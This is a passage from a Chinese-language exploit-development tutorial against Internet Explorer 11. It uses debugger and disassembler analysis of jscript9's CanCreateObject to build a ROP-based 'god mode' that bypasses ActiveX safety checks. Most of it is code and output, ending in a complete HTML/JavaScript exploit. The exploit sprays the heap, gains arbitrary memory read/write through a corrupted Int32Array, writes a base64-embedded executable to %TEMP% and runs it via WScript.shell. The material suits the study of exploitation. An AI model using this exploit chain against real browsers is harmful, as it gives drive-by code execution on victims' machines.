    tStream.Position = 2;       //  跳过tStream前两个字节(它们是什么呢?)
    tStream.CopyTo(bStream);
    bStream.SaveToFile(fname, 2);       // 2 =  如果已经存在就覆盖之
    tStream.Close();
    bStream.Close();
    }
 
    function decode(b64Data) {
    var data = window.atob(b64Data);
 
    // 现在数据像这样子
    //   11 00 12 00 45 00 50 00 ...
    // 而不是像这样
    //   11 12 45 50 ...
    // 我们来修复一下!
    var arr = new Array();
    for (var i = 0; i < data.length / 2; ++i) {
      var low = data.charCodeAt(i*2);
      var high = data.charCodeAt(i*2 + 1);
      arr.push(String.fromCharCode(low + high * 0x100));
    }
    return arr.join('');
    }
 
    write(mshtml+0xc57750+0x14, jscript9+0xf4d84);      // 开启上帝模式!
    shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc57750+0x14, old);                  // 关闭上帝模式!
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);
 
    alert("All done!");


我们再次尝试加载该页面,在调用CanCreateObject的语句之后将EAX设置为1.这次,我们直接给CanCreateObject设置断点:


bp jscript9!ScriptEngine::CanCreateObject



当断点触发以后,按Shift+F11,然后将EAX设置为1(第一次eax已经为1了).OK,现在,没有崩溃了,但是并没有弹出计算器.如果在开启开发者工具的情况下重复上述过程,你应该可以看到如下错误:





我们把这个错误留到后面处理.现在,我们应该庆幸,我们(几乎)解决了上帝模式的问题.我们仍然需要修改CanCreateObject的行为,让它总是返回true.再次,重复上述整个过程,对CanCreateObject设置一个断点.当该断点触发后,我们可以开始检查CanCreateObject:


jscript9!ScriptEngine::CanCreateObject:
5c444a08 8bff            mov     edi,edi
5c444a0a 55              push    ebp
5c444a0b 8bec            mov     ebp,esp
5c444a0d 51              push    ecx
5c444a0e 51              push    ecx
5c444a0f 57              push    edi
5c444a10 8bf8            mov     edi,eax
5c444a12 f687e401000008  test    byte ptr [edi+1E4h],8
5c444a19 743d            je      jscript9!ScriptEngine::CanCreateObject+0x50 (5c444a58)
 
jscript9!ScriptEngine::CanCreateObject+0x13:
5c444a1b 8d45fc          lea     eax,[ebp-4]
5c444a1e 50              push    eax
5c444a1f e842000000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (5c444a66)
5c444a24 85c0            test    eax,eax
5c444a26 7835            js      jscript9!ScriptEngine::CanCreateObject+0x55 (5c444a5d)   [br=0]
 
jscript9!ScriptEngine::CanCreateObject+0x20:
5c444a28 8b45fc          mov     eax,dword ptr [ebp-4]
5c444a2b 8b08            mov     ecx,dword ptr [eax]       <---------------------- ecx = object.虚表指针
5c444a2d 6a00            push    0
5c444a2f 6a00            push    0
5c444a31 6a10            push    10h
5c444a33 ff7508          push    dword ptr [ebp+8]
5c444a36 8d55f8          lea     edx,[ebp-8]
5c444a39 6a04            push    4
5c444a3b 52              push    edx                                               +-----------------------------
5c444a3c 6800120000      push    1200h                                             |
5c444a41 50              push    eax                                              \ /
5c444a42 ff5110          call    dword ptr [ecx+10h]      ds:002b:59fe7760={MSHTML!TearoffThunk4 (593e0abd)}
5c444a45 85c0            test    eax,eax
5c444a47 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (5c444a5d)
 
jscript9!ScriptEngine::CanCreateObject+0x41:
5c444a49 f645f80f        test    byte ptr [ebp-8],0Fh
5c444a4d 6a00            push    0
5c444a4f 58              pop     eax
5c444a50 0f94c0          sete    al
 
jscript9!ScriptEngine::CanCreateObject+0x4b:
5c444a53 5f              pop     edi
5c444a54 c9              leave
5c444a55 c20400          ret     4


看位于5c444a42地址处的虚调用:我们可以使用与之前用在CanObjectRun!上相同的伎俩,ECX指向虚表:


0:008> dds ecx
59fe7750  593d247e MSHTML!PlainQueryInterface
59fe7754  593e0869 MSHTML!CAPProcessor::AddRef
59fe7758  593d0dbd MSHTML!PlainRelease
59fe775c  593cb77a MSHTML!TearoffThunk3
59fe7760  593e0abd MSHTML!TearoffThunk4     <-----------------   我们需要为CanCreateObject修改这里
59fe7764  5c444d84 jscript9!ScriptEngine::CanObjectRun+0xaf      <-------  这里我们为CanObjectRun!的修复
59fe7768  594bcbd2 MSHTML!TearoffThunk6
59fe776c  594e1cde MSHTML!TearoffThunk7
59fe7770  594bccad MSHTML!TearoffThunk8
59fe7774  594c2359 MSHTML!TearoffThunk9
59fe7778  594c2312 MSHTML!TearoffThunk10
59fe777c  594ce7a8 MSHTML!TearoffThunk11
59fe7780  594bf4b7 MSHTML!TearoffThunk12
59fe7784  59501c59 MSHTML!TearoffThunk13
59fe7788  5987b82c MSHTML!TearoffThunk14
59fe778c  594b9483 MSHTML!TearoffThunk15
59fe7790  59502455 MSHTML!TearoffThunk16
59fe7794  59851dd3 MSHTML!TearoffThunk17
59fe7798  594beb0e MSHTML!TearoffThunk18
59fe779c  597810f8 MSHTML!TearoffThunk19
59fe77a0  59502a0b MSHTML!TearoffThunk20
59fe77a4  59851d61 MSHTML!TearoffThunk21
59fe77a8  59849471 MSHTML!TearoffThunk22
59fe77ac  59870ea9 MSHTML!TearoffThunk23
59fe77b0  598521ce MSHTML!TearoffThunk24
59fe77b4  59506512 MSHTML!TearoffThunk25
59fe77b8  5963cb4a MSHTML!TearoffThunk26
59fe77bc  5969c135 MSHTML!TearoffThunk27
59fe77c0  59637aca MSHTML!TearoffThunk28
59fe77c4  596e96b6 MSHTML!TearoffThunk29
59fe77c8  59676f8a MSHTML!TearoffThunk30
59fe77cc  5958468c MSHTML!TearoffThunk31


正如你所看到的,与CanObjectRun修改的是同一个虚表.现在,我们需要为CanCreateObject修改[ecx+10h].我们可以尝试用CanCreateObject的epilog的地址覆盖[ecx+10h],但是这样做并不起作用.问题出在,我们需要在CanCreateObject返回之前将EDI清零.调用CanCreateObject指令之后的代码如下:


5c444942 e8c1000000      call    jscript9!ScriptEngine::CanCreateObject (5c444a08)
5c444947 85c0            test    eax,eax
5c444949 0f8475a6ffff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (5c43efc4)
5c44494f 6a05            push    5
5c444951 58              pop     eax
5c444952 85ff            test    edi,edi
5c444954 0f850ab31400    jne     jscript9!memset+0xf471 (5c58fc64)   <----------------   如果EDI!=0 则跳转



如果这个jne跳转成立,CreateObjectFromProgID和CreateActiveXObject将失败.


我找了几个小时也没有找到合适的调用代码.像这样的


xor edi,edi
leave
ret 4


就非常完美了,但是这样指令序列并不存在.我也尝试找了其变换形式,也没有找到合适的.我们还找了


mov   dword ptr [edx], 0
ret   20h



以及其变体.下面这段代码将模拟原始虚函数的调用,并且清理[ebp-8].通过这种方式,CanCreateObject将返回true:


5c444a2b 8b08            mov     ecx,dword ptr [eax]
5c444a2d 6a00            push    0
5c444a2f 6a00            push    0
5c444a31 6a10            push    10h
5c444a33 ff7508          push    dword ptr [ebp+8]
5c444a36 8d55f8          lea     edx,[ebp-8]     <---------------  edx = ebp - 8
5c444a39 6a04            push    4
5c444a3b 52              push    edx
5c444a3c 6800120000      push    1200h
5c444a41 50              push    eax
5c444a42 ff5110          call    dword ptr [ecx+10h]   ds:002b:59fe7760={MSHTML!TearoffThunk4 (593e0abd)}
5c444a45 85c0            test    eax,eax
5c444a47 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (5c444a5d)
 
jscript9!ScriptEngine::CanCreateObject+0x41:
5c444a49 f645f80f        test    byte ptr [ebp-8],0Fh    <-------- if [ebp - 8] == 0,则...
5c444a4d 6a00            push    0
5c444a4f 58              pop     eax
5c444a50 0f94c0          sete    al              <---------------  ... 则 EAX = 1
                                                  
jscript9!ScriptEngine::CanCreateObject+0x4b:
5c444a53 5f              pop     edi             <--------------- 恢复EDI(它是0)
5c444a54 c9              leave
5c444a55 c20400          ret     4


注意,这也将清理EDI,因为当CanCreateObject被调用的时候,EDI为0.


接下来,我尝试来进行ROP.我尝试找如下的部件:


xchg  ecx, esp
ret



不幸的是,我们找不到类似的部件.那么我们能不能控制除ECX以外的其他寄存器呢…


事实证明,我们可以控制EAX,因为xchg eax,esp部件比xchg ecx,esp部件更常见.


我们将使用的构架如下:





我们已经知道,CanCreateObject和CanObjectRun调用的虚函数来自同一个虚表.你不仅可以很容易验证它们调用的虚函数来至同一个虚表,而且还可以验证它们调用的是相同的对象.这在上图中也展现出来了.


我们再来看一下CanCreateObject中的相关代码:


5c444a2b 8b08            mov     ecx,dword ptr [eax]     <-----------------  我们控制EAX(指向了"对象")
5c444a2d 6a00            push    0                       <----------------- 现在,ECX = 对象."虚表指针"
5c444a2f 6a00            push    0
5c444a31 6a10            push    10h
5c444a33 ff7508          push    dword ptr [ebp+8]
5c444a36 8d55f8          lea     edx,[ebp-8]     <---------------  edx = ebp - 8
5c444a39 6a04            push    4
5c444a3b 52              push    edx
5c444a3c 6800120000      push    1200h
5c444a41 50              push    eax
5c444a42 ff5110          call    dword ptr [ecx+10h]   <----------------   调用部件1(图中的)
5c444a45 85c0            test    eax,eax
5c444a47 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (5c444a5d)
 
jscript9!ScriptEngine::CanCreateObject+0x41:
5c444a49 f645f80f        test    byte ptr [ebp-8],0Fh    
5c444a4d 6a00            push    0
5c444a4f 58              pop     eax
5c444a50 0f94c0          sete    al              
                                                  
jscript9!ScriptEngine::CanCreateObject+0x4b:
5c444a53 5f              pop     edi             
5c444a54 c9              leave                    <-----------  部件4
5c444a55 c20400          ret     4


第一个部件,当被调用的时候,使得ESP指向object+4,并且返回到部件2.在部件2和3之后,EDI为0,EAX非0.部件4恢复ESP,并且从CanCreateObject中返回.


像上图那样设置对象和虚表的javascript代码如下:


  //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0xdc361  | --> "LEAVE | RET 4"
    //          +-------------------+
 
    // 如果我们“write(pp_obj,X)”,则我们将在CanCreateObject让EAX=X
    var pp_obj = ... ptr to ptr to object ...
    
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length; ++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4] = jscript9+0x10705e;
    new_vftable[0x14/4] = jscript9+0xdc164;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // 指向new_vftable的原始缓冲区
    
    // Create the new object.
    var new_object = new Int32Array(4);
    new_object[0] = new_vftptr;
    new_object[1] = jscript9 + 0x15f800;
    new_object[2] = jscript9 + 0xf3baf;
    new_object[3] = jscript9 + 0xdc361;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // 指向new_object的原始缓冲区
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }


这段代码应该很容易理解.我们通过两个Int32Array(特别是,它们的原始缓冲区)创建对象(new_object)和虚表(new_vftable),并且让对象指向了虚表.注意,我们的虚表是原始虚表修改后的一份拷贝.也许没有必要对原始虚表进行一份拷贝,因为仅仅是两个被修改的域(位于0x10和0x14偏移处)被用到了,但这也并不碍事.


现在,我们可以通过让EAX指向我们的对象来开启上帝模式,并且通过让EAX指向原始对象来关闭上帝模式.




控制EAX


要看我们是否能控制EAX,我们需要定位到EAX值的来源.我这里先说一下,EAX的值可以被控制,并且我将展示如何通过一些ROP来完成利用.现在,是时候来为大家展示EAX是如何被控制的具体细节了.在实际的漏洞利用过程中,这应该是你要做的第一件事.首先你要确定你要控制的东西,然后再来为其编写代码.


当然啦,用WinDbg也可以完成分析,但是IDA Pro更好的选择.如果你还没有IDA Pro,可以从这里下载: http://tools.pediy.com/windows/Disassemblers/ida/ida6.6/IDAPro6.6.zip.


IDA是一款非常智能的反汇编工具.它的主要特点在于它的交互性,也就说,一旦IDA完成了对代码的反汇编,你就可以对反汇编的结果进行编辑,操作.例如,你可以纠正IDA识别的错误,添加注释,定义数据结构,重命名,等等…


如果你想从事恶意软件分析或者漏洞利用程序开发相关的工作,那么你应该好好学一下IDA,并且购买其个人版本.


CanCreateObject位于jscript9中.我们用WinDbg定位到该模块的路径:


0:008> lmf m jscript9
start    end        module name
5c350000 5c615000   jscript9 C:\Windows\SysWOW64\jscript9.dll


用IDA打开jscript9.dll,如果有需要的话,可以指定通过IDA创建的数据库文件的路径.当被询问的时候,允许IDA下载jscript9.dll的符号文件.按CTRL+P(跳转到函数),点击Search(搜索)按钮,输入CanCreateObject.现在CanCreateObject应该如下图这样被选中了:





在你双击CanCreateObject之后,你应该可以看到CanCreateObject函数的图示.如果你想看线性化的代码,可以按空格键.想要对一个符号进行重命名,可以选中它,并按n.IDA有一个非常有用的功能:当选中某些文本的时候,该文本的所有实例都会被高亮.这在调试跟踪的时候是非常有用的.


看看下图:





很明显了:[ebp+object](注意,我将var_4重命名为object了)在?GetSiteHostSecurityManagerNoRef里面被修改了.


我们来看看这个函数:





正如我们所看到的,我们的变量object将被[EDI+1F0H]覆盖.我们还可以看到,如果[edi+1F0h]为0,它被初始化.我们需要记下来以备后面使用.现在我们知道,我们需要跟踪edi,我们再来看看CanCreateObject:





要看什么代码调用了CanCreateObject,单击上图中标注出来的地方,按CTRL+X.然后选择唯一一个显示出来的函数.现在我们在CreateObjectFromProgID中:





这是我们目前得到信息:


esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]



现在,我们需要转到CreateObjectFromProgID的调用处,并且跟随EDX.单击CreateObjectFromProgID的签名处,按CTRL+X.你应该可以看到两个选项:当然,选择是CreateActiveXObject啦.现在我们在CreateActiveXObject中了:





我们来更新一下我们的构架:


esi = arg0
edx = esi
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]



现在我们需要跟踪传递给CreateActiveXObject的第一个参数.和之前一样,我们转到调用CreateActiveXObject的代码处.看下图(注意,我们组合了一些节点,让图形更加紧凑一点):





在这之后,完整的构架如下:


eax = arg_0
eax = [eax+28h]
edx = eax
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]



现在,我们必须跟随传递给JavascriptActiveXObject::NewIntance的第一个参数.当我们点击其签名,并且按CTRL+X,这次显示的参考引用看起来我们都不怎么熟悉.我们回到WinDbg中.


在IE中打开带有如下代码的页面:


<html>
<head>
<script language="javascript">
  alert("Start");
  shell = new ActiveXObject("WScript.shell");
  shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>


对CanCreateObject设置一个断点:


bp jscript9!ScriptEngine::CanCreateObject


当该断点触发时,我们通过不断地按Shift+F11单步步出当前的函数,直到我们到了jscript9!Js::InterpreterStackFrame::NewScObject_Helper中为止.你将看到如下:


5c39010b 890c82          mov     dword ptr [edx+eax*4],ecx
5c39010e 40              inc     eax
5c39010f 3bc6            cmp     eax,esi
5c390111 72f5            jb      jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xc2 (5c390108)
5c390113 ff75ec          push    dword ptr [ebp-14h]
5c390116 ff75e8          push    dword ptr [ebp-18h]
5c390119 ff55e4          call    dword ptr [ebp-1Ch]
5c39011c 8b65e0          mov     esp,dword ptr [ebp-20h] ss:002b:0406bab8=0406ba9c    <------ 我们在这里!
5c39011f 8945d8          mov     dword ptr [ebp-28h],eax
5c390122 8b4304          mov     eax,dword ptr [ebx+4]
5c390125 83380d          cmp     dword ptr [eax],0Dh


我们可以看到,为什么IDA中不能跟踪这个call了:它是一个动态调用,这意味着调用的地址是非静态的.我们来检查一下第一个参数:


0:007> dd poi(ebp-18)
03b51150  5c499fa8 03b79ac0 03b75520 00000003
03b51160  00000000 ffffffff 5c5e3de4 5c5e4100
03b51170  00000037 00000000 03160fa0 00000000
03b51180  5c498970 00000000 00000001 00000000
03b51190  00000000 03b65410 00000004 00000000
03b511a0  00000000 00000000 00000000 00000000
03b511b0  5c3531b8 03b798c0 03b754e0 00000003
03b511c0  00000000 ffffffff 5c5e3de4 5c5e4660


第一个值可能是一个虚表指针.我们来看一看.


0:007> ln 5c499fa8
(5c499fa8)   jscript9!JavascriptActiveXFunction::`vftable'   |  (5c353dd0)   jscript9!Js::JavascriptSafeArrayObject::`vftable'
Exact matches:
    jscript9!JavascriptActiveXFunction::`vftable' = <no type information>


事实上,我们是对的!更重要的是,JavascriptActiveXFunction是我们用于创建ActiveX对象的ActiveXObject函数!这是我们的出发点.所以完成构架如下:


X = ActiveXObject的地址
X = [X+28h]
X = [X+4]
object = [X+1f0h]



我们来验证一下我们的发现是否正确.使用如下javascript代码进行验证:


<html>
<head>
<script language="javascript">
  a = new Array(0x2000);
  for (var i = 0; i < 0x2000; ++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < 0x1000; ++j)
      a[i][j] = ActiveXObject;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>


在IE中打开该页面,并且在WinDbg中检查位于0xadd0000地址处的内容(或者更高,如果你想的话).该内存应该填满了ActiveXObject的地址.我这里,该地址为05a01150.现在,我们来搜索一下该对象的地址:


0:024> ? poi(05a01150+28)
Evaluate expression: 47254496 = 02d10be0
0:024> ? poi(02d10be0+4)
Evaluate expression: 47106912 = 02cecb60
0:024> ? poi(02cecb60+1f0)
Evaluate expression: 0 = 00000000



该地址为0.为什么呢?再来看一下下图:





所以,为了初始化object(对象)的指针,我们需要调用CanCreateObject,即.我们需要创建一个ActiveX对象.我们像如下这样修改一下javascript代码:


<html>
<head>
<script language="javascript">
  new ActiveXObject("WScript.shell");
 
  a = new Array(0x2000);
  for (var i = 0; i < 0x2000; ++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < 0x1000; ++j)
      a[i][j] = ActiveXObject;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>



重复上述过程,再次来尝试获取该对象的地址:


0:021> ? poi(05c91150+28)
Evaluate expression: 47190160 = 02d01090
0:021> ? poi(02d01090+4)
Evaluate expression: 47041376 = 02cdcb60
0:021> ? poi(02cdcb60+1f0)
Evaluate expression: 57914128 = 0373b310
0:021> dd 0373b310
0373b310  59fe7750 00000001 593cadd8 03717d80
0373b320  594b4eb8 00000000 00000000 00000000
0373b330  00000005 00000000 71498689 8c000000
0373b340  036e3668 ff393560 00140001 0373f240
0373b350  ff393560 11cfc2a7 4544f4bf 00005453
0373b360  00000000 0000000a 71498683 80000000
0373b370  59fe00a4 00008000 593cadd8 0372c0e8
0373b380  593cb730 0372e020 593b3720 00000007
0:021> ln 59fe7750
(59fe7750)   MSHTML!s_apfnPlainTearoffVtable   |  (59fe7e58)   MSHTML!s_apfnEmbeddedDocTearoffVtable
Exact matches:
    MSHTML!s_apfnPlainTearoffVtable = <no type information>


完美:现在起作用了!


现在我们可以来完成我们的javascript代码:






    var old = read(mshtml+0xc57750+0x14);
 
    write(mshtml+0xc57750+0x14, jscript9+0xf4d84);      // 开启上帝模式!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc57750+0x14, old);                   // 关闭上帝模式!
 
    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0;       // 指向对象指针的指针


注意,我们可以用“老”的上帝模式来创建Wscript.shell(不显示警告消息).


完整代码如下:


<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // 从1字节写入到读/写整个进程地址空间
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // .
    // .
    // .
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte ArrayBuffer (buf)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100)
        buf = new ArrayBuffer(0x58);      // 必须为恰好为0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead(数组数据头部)
    //   0x20:  array[0] address(地址)
    //   0x24:  array[1] address(地址)
    //   ...
    // 0xf000:  Int32Array(32位整数类型数组)
    // 0xf030:  Int32Array(32位整数类型数组)
    //   ...
    // 0xffc0:  Int32Array(32位整数类型数组)
    // 0xfff0:  对齐的数据
    for (; i < 0x300 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //           虚表指针
    // 0c0af000 6b623718 030098a0 00000000 00000003 00000004 00000000 00000016 02a83ae0
    // 0c0af020 0301ddc0                                              array_len buf_addr
    //          jsArrayBuf                                           (数组长度)(缓冲区地址)
    alert("Set byte at 0c0af01b to 0x20");
    
    // 现在我们来定位我们要修改其长度的Int32Array.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // 这仅仅是一个例子.
    // 起始于02a83b40地址处的Int32Array类型的缓冲区占0x58字节.
    // 接下来的LargeHeapBlock,前面8字节的头部,起始于02a83b40.
    // 括号中的值,位于02a83ae0+0x60+0x24,指向了下一个LargeHeapBlock.
    //
    // 02a83ae0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 02a83b00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 02a83b20 00000000 00000000 00000000 00000000 00000000 00000000 6dc720aa 8c00ffff
    // 02a83b40 6b621b0c 00000003 06790000 00000010 00000001 00000000 00000004 0679f020
    // 02a83b60 067a0000 02a83ba0 00000000 00000001 00000001 00000000 02a53658 06790000
    // 02a83b80 00000000 00000000 00000000 00000004 00000001 029fda9c 6dc720be 8c000000
    // 02a83ba0: ...
 
    // 我们检查上面的结构是否正确(我们检查第一个LargeHeapBlock).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x1b0c || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // 现在我们再次修改int32array以此来逐步读/写整个地址空间.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // 新长度
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // 新缓冲区地址
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... 或者 ..## ##.. 或者 ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... 或者 ..## ##.. 或者 ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // 上帝模式
    //---------
    
    // 从0c0af000地址处我们可以读取Int32Array的虚表指针.
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3718
    jscript9 = read(0x0c0af000) - 0x3718;
    
    // 现在我们需要确定MSHTML的基地址.我们可以创建一个HTML
    // 对象,写入对应于我们其中一个数组的最后一个元素的引用(地址为0x0c0af000-4)
    // 定位位于0x0c0af000-4地址处的数组.                                         
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    //我们向我们其中一个数组的最后一个位置写入3.IE浏览器会将数字x
    //编码为2*x+1,这样就可以将地址(以dword对齐的)和数字区分开.
    //我们要么使用奇数,要么使用有效的地址,不然的话,IE浏览器将在
    //下面的循环中崩溃掉.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // 回头来确定MSHTML的基地址...
    // 开始处的元素div如下:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x126e23
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x126e23;
 
    // 我们想用jscript9+0xf4d84覆盖掉mshtml+0xc57750+0x14地址处的DWORD值:
    //  *mshtml + 0xc57750是我们想要修改的虚表项的地址;
    //  *jscript9+0xf4d84指向了代码"leave / ret 4".
    // 其结果是,jscript9!ScriptEngine::CanObjectRun返回true. 
 
 
     //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x000c39ce| --> "XCHG EAX,ESP | ADD EAX,5c563dc0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0x000f4a54 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x1503cc | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0x100b52  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0x000f4a54 | --> "LEAVE | RET 4"
    //          +-------------------+
 
    // 如果我们“write(pp_obj,X)”,则我们将在CanCreateObject让EAX=X
    
    var old = read(mshtml+0xc57750+0x14);
 
    write(mshtml+0xc57750+0x14, jscript9+0xf4d84);      // 开启上帝模式!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc57750+0x14, old);                   // 关闭上帝模式!
 
    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0;       // 指向对象指针的指针
        
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // 创建新的虚表.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length; ++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4] = jscript9+0x0c39ce;
    new_vftable[0x14/4] = jscript9+0x0f4a54;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // 指向new_vftable的原始缓冲区
    
    // 创建新的对象.
    var new_object = new Int32Array(4);
    new_object[0] = new_vftptr;
    new_object[1] = jscript9 + 0x1503cc;
    new_object[2] = jscript9 + 0x100b52;
    new_object[3] = jscript9 + 0x0f4a54;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // 指向new_object的原始缓冲区
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }
 
    
    // 以base64加密的exe文件的内容.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();     // 开启上帝模式!
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();    // 关闭上帝模式!
 
    tStream.Type = 2;       // 文本
    bStream.Type = 1;       // 二进制
    tStream.Open();
    bStream.Open();
    tStream.WriteText(data);
    tStream.Position = 2;       //  跳过tStream前两个字节(它们是什么呢?)
    tStream.CopyTo(bStream);
    bStream.SaveToFile(fname, 2);       // 2 =  如果已经存在就覆盖之
    tStream.Close();
    bStream.Close();
    }
 
    function decode(b64Data) {
    var data = window.atob(b64Data);
 
    // 现在数据像这样子
    //   11 00 12 00 45 00 50 00 ...
    // 而不是像这样
    //   11 12 45 50 ...
    // 我们来修复一下!
    var arr = new Array();
    for (var i = 0; i < data.length / 2; ++i) {
      var low = data.charCodeAt(i*2);
      var high = data.charCodeAt(i*2 + 1);
      arr.push(String.fromCharCode(low + high * 0x100));
    }
    return arr.join('');
    }
    
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);
     
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>


